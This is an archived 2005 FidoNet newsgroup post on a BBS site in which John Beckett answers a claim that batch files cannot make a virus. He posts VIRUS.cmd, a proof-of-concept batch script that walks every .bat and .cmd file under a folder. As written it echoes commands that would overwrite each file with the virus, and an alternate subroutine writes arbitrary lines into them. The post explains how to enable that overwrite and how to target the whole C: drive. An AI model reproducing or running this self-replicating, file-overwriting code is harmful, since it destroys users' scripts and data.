TIP: Click on subject to list as thread! ANSI
echo: nthelp
to: Geo
from: John Beckett
date: 2005-08-09 21:23:38
subject: Re: monad virus

From: John Beckett 

"Geo"  wrote in message
news::
> what's being pointed out is that batch files don't contain the commands
> needed to write a virus

---Start of file VIRUS.cmd---
{at}echo off
set source=%~f0
set target=C:\Temp

for /r %target% %%d in (*.bat *.cmd) do call :whacker %%~fd goto :eof

:whacker
ECHO copy %source% "%*"
goto :eof

:whacker2
echo rem This is the first BAD LINE>%1 echo rem This is the second BAD
LINE>>%1 echo rem This is the third BAD LINE>>%1 goto :eof

---End of file---

This works on all *.bat and *.cmd files under the target folder. If you set
target=C:\ it will do all of C: drive (not tested:-).

It ECHOes the required copy statements that (if executed) would replace
every *.bat and *.cmd file with a copy of the virus.

If you change 'call :whacker' to 'call :whacker2', the PoC will replace
every *.bat and *.cmd file with whatever bad stuff you want.

John

--- BBBS/NT v4.01 Flag-5
* Origin: Barktopia BBS Site http://HarborWebs.com:8081 (1:379/45)
SEEN-BY: 633/267 270 5030/786
@PATH: 379/45 1 106/2000 633/267

SOURCE: echomail via fidonet.ozzmosis.com

Email questions or comments to sysop@ipingthereforeiam.com
All parts of this website painstakingly hand-crafted in the U.S.A.!
IPTIA BBS/MUD/Terminal/Game Server List, © 2025 IPTIA Consulting™.